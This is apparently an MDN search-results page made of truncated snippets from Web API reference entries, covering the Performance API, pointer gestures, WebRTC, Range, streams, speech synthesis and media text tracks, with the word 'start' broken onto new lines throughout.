starttime. if no objects meet the specified criteria, an empty list is returned. example function use_performanceentry_methods() { log("performanceentry tests ..."); if (performance.mark === undefined) { log("... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end...
...et specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length; i++) { log("begin[" + i + "]"); check_performanceentry(p[i]); } // use getentriesbytype() to get all "mark" entries p = performance.getentriesbytype("mark"); for (var i=0; i < p.length; i++) { log ("mark only entry[" + i + "]: name = " + p[i].name + ";
starttime = " + p[i].
starttime + "; duration = " + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + ";
starttime = " + p[i].
starttime + "; duration = " + p[i].duration); } } sp...
performance.getEntriesByType() - Web APIs
e. note: this feature is available in web workers. syntax entries = window.performance.getentriesbytype(type); arguments type the type of entry to retrieve such as "mark". the valid entry types are listed in performanceentry.entrytype. return value entries a list of performanceentry objects that have the specified type. the items will be in chronological order based on the entries'
starttime. if no objects have the specified type, or no argument is provided, an empty list is returned. example function useperformanceentrymethods() { log("performanceentry tests ..."); if (performance.mark === undefined) { log("... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); dowork(50000);...
...get specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length; i++) { log("begin[" + i + "]"); checkperformanceentry(p[i]); } // use getentriesbytype() to get all "mark" entries p = performance.getentriesbytype("mark"); for (var i=0; i < p.length; i++) { log ("mark only entry[" + i + "]: name = " + p[i].name + ";
starttime = " + p[i].
starttime + "; duration = " + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + ";
starttime = " + p[i].
starttime + "; duration = " + p[i].duration); } } sp...
performance.now() - Web APIs
by performance.now() are not limited to one-millisecond resolution. instead, they represent times as floating-point numbers with up to microsecond precision. also unlike date.now(), the values returned by performance.now() always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software like ntp). otherwise, performance.timing.navigation
start + performance.now() will be approximately equal to date.now(). reduced time precision to offer protection against timing attacks and fingerprinting, the precision of performance.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 1ms. // reduced time precision (1ms) in firefox 60 performance.now()...
...x 60 performance.now(); // 8781416 // 8781815 // 8782206 // ... // reduced time precision with `privacy.resistfingerprinting` enabled performance.now(); // 8865400 // 8866200 // 8866700 // ... in firefox, you can also enable privacy.resistfingerprinting — this changes the precision to 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
starting with firefox 79, high resolution timers can be used if you cross-origin isolate your document using the cross-origin-opener-policy and cross-origin-embedder-policy headers: cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp these headers ensure a top-level document does not share a browsing context group with cross-origin documents. coop process-isolates your...
Performance - Web APIs
ng read only a legacy performancetiming object containing latency-related performance information. not available in workers. performance.memory read only a non-standard extension added in chrome, this property provides an object with basic memory usage information. you should not use this non-standard api. performance.timeorigin read only returns the high resolution timestamp of the
start time of the performance measurement. methods the performance interface doesn't inherit any methods. performance.clearmarks() removes the given mark from the browser's performance entry buffer. performance.clearmeasures() removes the given measure from the browser's performance entry buffer. performance.clearresourcetimings() removes all performance entries with a entrytype of "resource...
...ormanceentry objects based on the given name and entry type. performance.getentriesbytype() returns a list of performanceentry objects of the given entry type. performance.mark() creates a timestamp in the browser's performance entry buffer with the given name. performance.measure() creates a named timestamp in the browser's performance entry buffer between two specified marks (known as the
start mark and end mark, respectively). performance.now() returns a domhighrestimestamp representing the number of milliseconds elapsed since a reference instant. performance.setresourcetimingbuffersize() sets the browser's resource timing buffer size to the specified number of "resource" type performance entry objects. performance.tojson() is a jsonizer returning a json object representing the p...
PerformanceEntry - Web APIs
properties performanceentry.name read only a value that further specifies the value returned by the performanceentry.entrytype property. the value of both depends on the subtype. see property page for valid values. performanceentry.entrytype read only a domstring representing the type of performance metric such as, for example, "mark". see property page for valid values. performanceentry.
starttime read only a domhighrestimestamp representing the
starting time for the performance metric. performanceentry.duration read only a domhighrestimestamp representing the time value of the duration of the performance event. methods performanceentry.tojson() returns a json representation of the performanceentry object. example the following example checks all performanceentry properti...
... console. function print_performanceentries() { // use getentries() to get a list of all performance entries var p = performance.getentries(); for (var i=0; i < p.length; i++) { console.log("performanceentry[" + i + "]"); print_performanceentry(p[i]); } } function print_performanceentry(perfentry) { var properties = ["name", "entrytype", "
starttime", "duration"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " is not supported"); } } } specifications ...
PerformanceNavigationTiming.type - Web APIs
reload navigation is through the browser's reload operation or location.reload(). back_forward navigation is through the browser's history traversal operation. prerender navigation is initiated by a prerender hint. this property is read only . ...
...on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount = ...
PerformancePaintTiming - Web APIs
ver text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "paint" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "paint". performanceentry.name returns either "first-paint" or "first-contentful-paint". performanceentry.
starttime returns the timestamp when the paint ocurred. performanceentry.duration returns 0. methods this interface has no methods. example function showpainttimings() { if (window.performance) { let performance = window.performance; let performanceentries = performance.getentriesbytype('paint'); performanceentries.foreach( (performanceentry, i, entries) => { console.log("th...
...ntry.duration returns 0. methods this interface has no methods. example function showpainttimings() { if (window.performance) { let performance = window.performance; let performanceentries = performance.getentriesbytype('paint'); performanceentries.foreach( (performanceentry, i, entries) => { console.log("the time to " + performanceentry.name + " was " + performanceentry.
starttime + " milliseconds."); }); } else { console.log('performance timing isn\'t supported.'); } } the code above produces console output something like the following: the time to first-paint was 2785.915 milliseconds. the time to first-contentful-paint was 2787.460 milliseconds. specifications specification status comment paint timingthe definition of 'perform...
Multi-touch interaction - Web APIs
be cached, in case this down event is part of a multi-touch interaction. in this application, when a pointer is placed down on an element, the background color of the element changes, depending on the number of active touch points the element has. see the update_background function for more details about the color changes. function pointerdown_handler(ev) { // the pointerdown event signals the
start of a touch interaction. // save this event for later processing (this could be part of a // multi-touch interaction) and update the background color push_event(ev); if (logevents) log("pointerdown: name = " + ev.target.id, ev); update_background(ev); } pointer move the pointermove handler is called when the pointer moves. it may be called multiple times (for example, if the user moves the...
...ior from overriding this application's pointer handling, the touch-action property is applied to the <body> element. <body onload="init();" style="touch-action:none"> <div id="target1"> tap, hold or swipe me 1</div> <div id="target2"> tap, hold or swipe me 2</div> <div id="target3"> tap, hold or swipe me 3</div> <!-- ui for logging/debugging --> <button id="log" onclick="enablelog(event);">
start/stop event logging</button> <button id="clearlog" onclick="clearlog(event);">clear the log</button> <p></p> <output></output> </body> miscellaneous functions these functions support the application but aren't directly involved with the event flow. cache management these functions manage the global event caches evcache1, evcache2 and evcache3. function get_cache(ev) { // return the cache...
Pinch zoom gestures - Web APIs
ndler; el.onpointerleave = pointerup_handler; } pointer down the pointerdown event is fired when a pointer (mouse, pen/stylus or touch point on a touchscreen) makes contact with the contact surface. in this application, the event's state must be cached in case this down event is part of a two-pointer pinch/zoom gesture. function pointerdown_handler(ev) { // the pointerdown event signals the
start of a touch interaction. // this event is cached to support 2-finger gestures evcache.push(ev); log("pointerdown", ev); } pointer move the pointermove event handler detects if a user is invoking a two-pointer pinch/zoom gesture. if two pointers are down, and the distance between the pointers is increasing (signifying a pinch out or zoom in), the element's background color is changed to pink,...
...roperty is applied to the <body> element. <body onload="init();" style="touch-action:none"> <div id="target">touch and hold with 2 pointers, then pinch in or out.<br/> the background color will change to pink if the pinch is opening (zoom in) or changes to lightblue if the pinch is closing (zoom out).</div> <!-- ui for logging/debugging --> <button id="log" onclick="enablelog(event);">
start/stop event logging</button> <button id="clearlog" onclick="clearlog(event);">clear the log</button> <p></p> <output></output> </body> miscellaneous functions these functions support the application but aren't directly involved in the event flow. cache management this function helps manage the global event caches evcache. function remove_event(ev) { // remove this event from the target's...
RTCDTMFSender - Web APIs
a domstring which contains the list of dtmf tones currently in the queue to be transmitted (tones which have already been played are no longer included in the string). see tonebuffer for details on the format of the tone buffer. methods rtcdtmfsender.insertdtmf() given a string describing a set of dtmf codes and, optionally, the duration of and inter-tone gap between the tones, insertdtmf()
starts sending the specified tones. calling insertdtmf() replaces any already-pending tones from the tonebuffer. you can abort sending queued tones by specifying an empty string ("") as the set of tones to play. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. tonechange the tonechange event is sent to the rtc...
...y-pending tones from the tonebuffer. you can abort sending queued tones by specifying an empty string ("") as the set of tones to play. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. tonechange the tonechange event is sent to the rtcdtmfsender instance's event handler to indicate that a tone has either
started or stopped playing. also available using the ontonechange event handler property. example see the article using dtmf with webrtc for a full example. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender' in that specification. candidate recommendation ...
RTCIceCandidate.usernameFragment - Web APIs
tegrity. this avoids crosstalk among multiple ongoing ice sessions, but, more importantly, helps secure ice transactions (and all of webrtc by extension) against attacks that might try to inject themselves into an ice exchange. note: there is no api to obtain the ice password, for what should be fairly obvious security reasons. the usernamefragment and password both change every time an ice re
start occurs. example although the webrtc infrastructure will filter out obsolete candidates for you after an ice re
start, you can do it yourself if you're trying to absolutely minimize the number of messages going back and forth. to do so, you can compare the value of usernamefragment to the current usernamefragment being used for the connection after receiving the candidate from the signaling serv...
...imply call addicecandidate(). there's not typically a need to manually worry about filtering the candidates. however, let's imagine that we do need to minimize traffic. the function below, ssnewcandidate(), is called when a message, signalmsg, arrives from the signaling server that contains an ice candidate to be added to the rtcpeerconnection. ...
RTCIceCandidate - Web APIs
the rtcicecandidate interface—part of the webrtc api—represents a candidate internet connectivity establishment (ice) configuration which may be used to establish an rtcpeerconnection. an ice candidate describes the protocols and routing needed for webrtc to be able to communicate with a remote device. when
starting a webrtc peer connection, typically a number of candidates are proposed by each end of the connection, until they mutually agree upon one which describes the connection they decide will be best. webrtc then uses that candidate's details to initiate the connection. for details on how the ice process works, see lifetime of a webrtc session. the article webrtc connectivity provides additional useful details. constructor rtcicecandidate() creates an rtcicecandidate object to...
...om the rtcicecandidatetype enumerated type. usernamefragment read only a domstring containing a randomly-generated username fragment ("ice-ufrag") which ice uses for message integrity along with a randomly-generated password ("ice-pwd"). you can use this string to verify generations of ice generation; each generation of the same ice process will use the same usernamefragment, even across ice re
starts. methods tojson() given the rtcicecandidate's current configuration, tojson() returns a domstring containing a json representation of that configuration in the form of a rtcicecandidateinit object. examples for examples, see the article signaling and video calling, which demonstrates the entire process. specifications specification status comment webrtc 1.0: re...
RTCPeerConnection.createOffer() - Web APIs
the sdp offer includes information about any mediastreamtracks already attached to the webrtc session, codec, and options supported by the browser, and any candidates already gathered by the ice agent, for the purpose of being sent over the signaling channel to a potential peer to request a connection or to update the configuration of an existing connection. the return value is a promise which, when the offer has been created, is resolved with a rtcsessiondescription object containing the newly-created offer. ...
...ining the newly-created offer. syntax apromise = mypeerconnection.createoffer([options]); mypeerconnection.createoffer(successcallback, failurecallback, [options]) parameters options optional an rtcofferoptions dictionary providing options requested for the offer. rtcofferoptions dictionary the rtcofferoptions dictionary is used to customize the offer created by this method. icere
start optional to re
start ice on an active connection, set this to true. this will cause the returned offer to have different credentials than those already in place. if you then apply the returned offer, ice will re
start. specify false to keep the same credentials and therefore not re
start ice. the default is false. offertoreceiveaudio optional (legacy) a legacy boolean option which used to control...
RTCPeerConnection: negotiationneeded event - Web APIs
of the connection as well as any time a change to the communication environment requires reconfiguring the connection. bubbles no cancelable no interface event event handler property rtcpeerconnection.onnegotiationneeded the negotiationneeded event is first dispatched to the rtcpeerconnection when media is first added to the connection. this
starts the process of ice negotiation by instructing your code to begin exchanging ice candidates through the signaling server. see signaling transaction flow in signaling and video calling for a description of the signaling process that begins with a negotiationneeded event. examples in this example, we use addeventlistener() to create an event handler for negotiationneeded. its role is to create an...
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'negotiationneeded' in that specification. candidate recommendation ...
Range() - Web APIs
the range() constructor returns a newly created range object whose
start and end is the global document object. syntax range = new range() example in this example we create a new range with the range() constructor, and set its beginning and end positions using the range.set
startbefore() and range.setendafter() methods. we then select the range using window.getselection() and selection.addrange(). ...
...t its beginning and end positions using the range.set
startbefore() and range.setendafter() methods. we then select the range using window.getselection() and selection.addrange(). html <p>first paragraph.</p> <p>second paragraph.</p> <p>third paragraph.</p> <p>fourth paragraph.</p> javascript const paragraphs = document.queryselectorall('p'); // create new range const range = new range(); //
start range at second paragraph range.set
startbefore(paragraphs[1]); // end range at third paragraph range.setendafter(paragraphs[2]); // get window selection const selection = window.getselection(); // add range to window selection selection.addrange(range); result specification specification status comment domthe definition of 'range.range()' in that specification. ...
Range.compareBoundaryPoints() - Web APIs
range); return value compare a number, -1, 0, or 1, indicating whether the corresponding boundary-point of the range is respectively before, equal to, or after the corresponding boundary-point of sourcerange. parameters how a constant describing the comparison method: range.end_to_end compares the end boundary-point of sourcerange to the end boundary-point of range. range.end_to_
start compares the end boundary-point of sourcerange to the
start boundary-point of range. range.
start_to_end compares the
start boundary-point of sourcerange to the end boundary-point of range. range.
start_to_
start compares the
start boundary-point of sourcerange to the
start boundary-point of range. if the value of the parameter is invalid, a domexception with a notsupportederror code is thro...
...xception with a notsupportederror code is thrown. sourcerange a range to compare boundary points with the range. example var range, sourcerange, compare; range = document.createrange(); range.selectnode(document.getelementsbytagname("div")[0]); sourcerange = document.createrange(); sourcerange.selectnode(document.getelementsbytagname("div")[1]); compare = range.compareboundarypoints(range.
start_to_end, sourcerange); specifications specification status comment domthe definition of 'range.compareboundarypoints()' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.compareboundarypoints()' in that specification. obsolete initial specification. ...
Range.comparePoint() - Web APIs
syntax returnvalue = range.comparepoint(referencenode, offset) parameters referencenode the node to compare with the range. ...
... syntax returnvalue = range.comparepoint(referencenode, offset) parameters referencenode the node to compare with the range. ...
Range.getBoundingClientRect() - Web APIs
s in the range. this method is useful for determining the viewport coordinates of the cursor or selection inside a text box. see element.getboundingclientrect() for details on the returned value. syntax boundingrect = range.getboundingclientrect() example html <div id="highlight"></div> <p>this example positions a "highlight" rectangle behind the contents of a range. ...
...is example positions a "highlight" rectangle behind the contents of a range. the range's content <b>
starts here</b> and continues on until it <b>ends here</b>. ...
ReadableStreamDefaultController.close() - Web APIs
tream.cancel() or readablestreamdefaultreader.cancel(). syntax readablestreamdefaultcontroller.close(); parameters none. return value undefined. exceptions typeerror the source object is not a readablestreamdefaultcontroller. examples in the following simple example, a custom readablestream is created using a constructor (see our simple random stream example for the full code). the
start() function generates a random string of text every second and enqueues it into the stream. a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
... text every second and enqueues it into the stream. a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream. ...
ReadableStreamDefaultController.enqueue() - Web APIs
the associated stream. syntax readablestreamdefaultcontroller.enqueue(chunk); parameters chunk the chunk to enqueue. return value undefined. exceptions typeerror the source object is not a readablestreamdefaultcontroller. examples in the following simple example, a custom readablestream is created using a constructor (see our simple random stream example for the full code). the
start() function generates a random string of text every second and enqueues it into the stream — see controller.enqueue(string). a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which rea...
...into the stream — see controller.enqueue(string). a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream. ...
ReadableStreamDefaultController - Web APIs
e() closes the associated stream. readablestreamdefaultcontroller.enqueue() enqueues a given chunk in the associated stream. readablestreamdefaultcontroller.error() causes any future interactions with the associated stream to error. examples in the following simple example, a custom readablestream is created using a constructor (see our simple random stream example for the full code). the
start() function generates a random string of text every second and enqueues it into the stream. a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason. note that a readablestreamdefaultcontroller object is provided as the parameter of the
start() and pull() functions. when a button is pressed, the generation is stopped, the stream is closed us...
...dablestream.cancel() is called for any reason. note that a readablestreamdefaultcontroller object is provided as the parameter of the
start() and pull() functions. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream. ...
RelativeOrientationSensor - Web APIs
, referenceframe: 'device' }; const sensor = new relativeorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere. model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.
start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors. becuase the permissions uses promises, a good way to request permissions is to use promise.all. const sensor = new relativeorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "gyroscope" })]) .
...ensors. becuase the permissions uses promises, a good way to request permissions is to use promise.all. const sensor = new relativeorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.
start(); ... } else { console.log("no permissions to use relativeorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'relativeorientationsensor' in that specification. candidate recommendation initial definition. ...
SVGTextContentElement - Web APIs
h() returns a float representing the computed length of the formatted text advance distance for a substring of text within the element. note that this method only accounts for the widths of the glyphs in the substring and any extra spacing inserted by the css 'letter-spacing' and 'word-spacing' properties. visual spacing adjustments made by the 'x' attribute is ignored. svgtextcontentelement.get
startpositionofchar() returns a dompoint representing the position of a typographic character after text layout has been performed. note: in svg 1.1 this method returned an svgpoint. svgtextcontentelement.getendpositionofchar() returns a dompoint representing the trailing position of a typographic character after text layout has been performed. note: in svg 1.1 this method returned an svgpoint. ...
...haracter of the relevant typographic character is returned svgtextcontentelement.selectsubstring() selects text within the element. specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextcontentelement' in that specification. candidate recommendation changed inheritance from svgelement to svggraphicselement and get
startpositionofchar() and removed implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable interfaces and getendpositionofchar() to return a dompoint instead of an svgpoint. scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextcontentelement' in that specification. recommendation initial definition ...
Using server-sent events - Web APIs
h as a network timeout or issues pertaining to access control), an error event is generated. you can take action on this programmatically by implementing the onerror callback on the eventsource object: evtsource.onerror = function(err) { console.error("eventsource failed:", err); }; closing event streams by default, if the connection between the client and server closes, the connection is re
started. the connection is terminated with the .close() method. evtsource.close(); event stream format the event stream is a simple stream of text data which must be encoded using utf-8. messages in the event stream are separated by a pair of newline characters. a colon as the first character of a line is in essence a comment, and is ignored. note: the comment line can be used to prevent connection...
... an integer, specifying the reconnection time in milliseconds. if a non-integer value is specified, the field is ignored. all other field names are ignored. note: if a line doesn't contain a colon, the entire line is treated as the field name with an empty value string. examples data-only messages in the following example, there are three messages sent. the first is just a comment, since it
starts with a colon character. as mentioned previously, this can be useful as a keep-alive mechanism if messages might not be sent regularly. the second message contains a data field with the value "some text". the third message contains a data field with the value "another message\nwith two lines". note the newline special character in the value. : this is a test stream data: some text data: anoth...
ServiceWorkerGlobalScope - Web APIs
the serviceworkerglobalscope interface of the serviceworker api represents the global execution context of a service worker. developers should keep in mind that the serviceworker state is not persisted across the termination/re
start cycle, so each event handler should assume it's being invoked with a bare, default global state. once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. an active service worker is automatically re
started to respond to events, such as serviceworkerglobalscope.onfetch or serviceworkerglobalscope.onmessage. additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the fetch() method, can be used. this interface inherit...
...balscope.onsync property. methods serviceworkerglobalscope.skipwaiting() allows the current service worker registration to progress from waiting to active state while service worker clients are using it. serviceworkerglobalscope implements workerglobalscope — which implements windoworworkerglobalscope. therefore it also has the following property available to it: globalfetch.fetch()
starts the process of fetching a resource. this returns a promise that resolves to the response object representing the response to your request. this algorithm is the entry point for the fetch handling handed to the service worker context. examples this code snippet is from the service worker prefetch sample (see prefetch example live.) the serviceworkerglobalscope.onfetch event handler listens for...
SharedWorker() - Web APIs
ame-origin, or include. if not specified, or if type is classic, the default used is omit (no credentials required). name: a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. return value the created worker. exceptions a securityerror is raised if the document is not allowed to
start workers, for example if the url has an invalid syntax or if the same-origin policy is violated. a networkerror is raised if the mime type of the worker script is incorrect. it should always be text/javascript. a syntaxerror is raised if aurl cannot be parsed. examples the following code snippet shows creation of a sharedworker object using the sharedworker() constructor and subsequent usage ...
...policy is violated. a networkerror is raised if the mime type of the worker script is incorrect. it should always be text/javascript. a syntaxerror is raised if aurl cannot be parsed. ...
SpeechSynthesis - Web APIs
properties speechsynthesis also inherits properties from its parent interface, eventtarget. speechsynthesis.paused read only a boolean that returns true if the speechsynthesis object is in a paused state. speechsynthesis.pending read only a boolean that returns true if the utterance queue contains as-yet-unspoken utterances. ...
... of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and
start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('.txt'); var voiceselect = document.queryselector('select'); var pitch = document.queryselector('#pitch'); var pitchvalue = document.queryselector('.pitch-value'); var rate = document.queryselector('#rate'); var...
SpeechSynthesisUtterance - Web APIs
ts the utterance from being succesfully spoken. also available via the onerror property mark fired when the spoken utterance reaches a named ssml "mark" tag. also available via the onmark property. pause fired when the utterance is paused part way through. also available via the onpause property. resume fired when a paused utterance is resumed. also available via the onresume property.
start fired when the utterance has begun to be spoken. also available via the on
start property. examples in our basic speech synthesiser demo (source), we first grab a reference to the speechsynthesis controller using window.speechsynthesis. after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so ...
... voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), use the constructor to create a new utterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and
start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var voices = synth.getvoices(); var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.textcontent = voic...
StaticRange.StaticRange() - Web APIs
in the dom. it includes properties identifying the standard and end positions of the range as well as a boolean indicating whether or not the range is collapsed (that is, empty). syntax var staticrange = new staticrange(rangespec) parameters rangespec the required rangespec parameter is an object adhering to the staticrangeinit dictionary. the four required rangespec properties are:
startcontainer the node in which the
starting point of the range is located.
startoffset the offset into the
starting node at which the first character of the range is found. endcontainer the node in which the end point of the range is located. endoffset the offset into the node indicated by endoffset at which the last character in the range is located. return value a new staticran...
... of the range is found. endcontainer the node in which the end point of the range is located. endoffset the offset into the node indicated by endoffset at which the last character in the range is located. return value a new staticrange object initialized with the values given in the rangespec object. exceptions invalidnodetypeerror a domexception fired if either or both of the
startcontainer and/or endcontainer are a type of node which you can't include in a range. those node types are node.document_type_node (representing the documenttype node derived from the dtd identified using the doctype preamble in the html, for example) and the attr node describing an attribute of an element on the dom.. specifications specification status comment domthe de...
StaticRange.collapsed - Web APIs
specifications specification status comment domthe definition of 'collapsed' in that specification. ...
... specifications specification status comment domthe definition of 'collapsed' in that specification. ...
StaticRange - Web APIs
</div> a:hover text { fill: #0095dd; pointer-events: all;} constructor staticrange() creates a new staticrange object given the staticrangeinit dictionary specifying the default values for its properties. properties the properties below are inherited from its parent interface, abstractrange. staticrange.collapsed read only returns a boolean value which is true if the range's
start and end positions are the same, resulting in a range of length 0. staticrange.endcontainer read only returns the dom node which contains the ending point of the range. the offset into the node at which the end position is located is indicated by endoffset. staticrange.endoffset read only returns an integer value indicating the offset into the node given by endcontainer at which the last cha...
...in a range of length 0. staticrange.endcontainer read only returns the dom node which contains the ending point of the range. the offset into the node at which the end position is located is indicated by endoffset. staticrange.endoffset read only returns an integer value indicating the offset into the node given by endcontainer at which the last character of the range is found. staticrange.
startcontainer read only returns the dom node which contains the
starting point of the range (which is in turn identified by
startoffset. staticrange.
startoffset read only returns an integer value indicating the offset into the node specified by
startcontainer at which the first character of the range is located. methods staticrange.torange() returns a new range object which describes the sa...
TextEncoder.prototype.encodeInto() - Web APIs
read the number of utf-16 units of code from the source that has been converted over to utf-8. this may be less than string.length if uint8array did not have enough space. written the number of bytes modified in the destination uint8array. the bytes written are guaranteed to form complete utf-8 byte sequences. encode into a specific position encoder.encodeinto always puts its output at the
start of the array. however, it is sometimes useful to make the output
start at a particular index. the solution is typedarray.prototype.subarray(). observe. var encoder = new textencoder; function encodeintoatposition(string, u8array, position) { return encoder.encodeinto(string, position ? u8array.subarray(position|0) : u8array); } var u8array = new uint8array(8); encodeintoatposition("hello", ...
...d speed) threshold t such that if rounduptobucketsize(s.length) + t >= s.length * 3, you simply allocate for s.length * 3. otherwise, first allocate for rounduptobucketsize(s.length) and convert. if the read item it the return dictionary is s.length, the conversion is done. if not, reallocate the target buffer to written + (s.length - read) * 3 and then convert the rest by taking a substring of s
starting from index read and a subbuffer of the target buffer
starting from index written. above rounduptobucketsize() is a function that rounds up to the allocator bucket size. for example, if your wasm allocator is known to use power-of-two buckets, rounduptobucketsize() should return the argument if it is a power-of-two or the next power-of-two otherwise. if the behavior of the wasm allocator is un...
TextTrack - Web APIs
(text tracks on media presentations)—describes and controls the text track associated with a particular <track> element. properties this interface also inherits properties from eventtarget. texttrack.activecues read only a texttrackcuelist object listing the currently active set of text track cues. track cues are active if the current playback position of the media is between the cues'
start and end times. thus, for displayed cues such as captions or subtitles, the active cues are currently being displayed. texttrack.cues read only a texttrackcuelist which contains all of the track's cues. texttrack.id read only a domstring which identifies the track, if it has one. if it doesn't have an id, then this value is an empty string (""). if the texttrack is associated with a <track> ...
..."en-us" for united states english or "pt-br" for brazilian portuguese. texttrack.mode a domstring specifying the track's current mode. changing this property's value changes the track's current mode to match. permitted values are listed under text track mode constants. the default is disabled, unless the <track> element's default boolean attribute is specified, in which case the default mode is
started. events cuechange fired when cues are entered and exited. a given text cue appears when the cue is entered and disappears when the cue is exited. also available via the oncuechange property. methods this interface also inherits methods from eventtarget. texttrack.addcue() adds a cue (specified as a texttrackcue object to the track's list of cues. texttrack.removecue() removes a ...
TextTrackCue - Web APIs
texttrackcue is an abstract class which is used as the basis for the various derived cue types, such as vttcue; you will instead work with those derived types. these cues represent a string of text that is presented for some duration of time during the performance of a texttrack. the cue includes the
start time (the time at which the text will be displayed) and the end time (the time at which it will be removed from the display), as well as other information. ...
...he time at which the text will be displayed) and the end time (the time at which it will be removed from the display), as well as other information. properties this interface also inherits properties from eventtarget. texttrackcue.track read only the texttrack that this cue belongs to, or null if it doesn't belong to any. texttrackcue.id a domstring that identifies the cue. texttrackcue.
starttime a double that represents the video time that the cue will
start being displayed, in seconds. texttrackcue.endtime a double that represents the video time that the cue will stop being displayed, in seconds. texttrackcue.pauseonexit a boolean for whether the video will pause when this cue stops being displayed. event handlers texttrackcue.onenter the event handler for the enter event...
TimeRanges - Web APIs
the timeranges interface is used to represent a set of time ranges, primarily for the purpose of tracking which portions of media have been buffered when loading it for use by the <audio> and <video> elements. a timeranges object includes one or more ranges of time, each specified by a
starting and ending time offset. you reference each time range by using the
start() and end() methods, passing the index number of the time range you want to retrieve. the term "normalized timeranges object" indicates that ranges in such an object are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range). properties timeranges.length read only returns an unsigned long representing the number of time ranges represented by the time range object. methods ...
... the time range you want to retrieve. the term "normalized timeranges object" indicates that ranges in such an object are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range). properties timeranges.length read only returns an unsigned long representing the number of time ranges represented by the time range object. methods timeranges.
start() returns the time for the
start of the range with the specified index. timeranges.end() returns the time for the end of the specified range. specifications specification status comment html living standardthe definition of 'timeranges' in that specification. living standard initial definition ...
Touch.clientX - Web APIs
tical coordinate of the touch point relative to the browser's viewport excluding any scroll offset . in this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface. ...
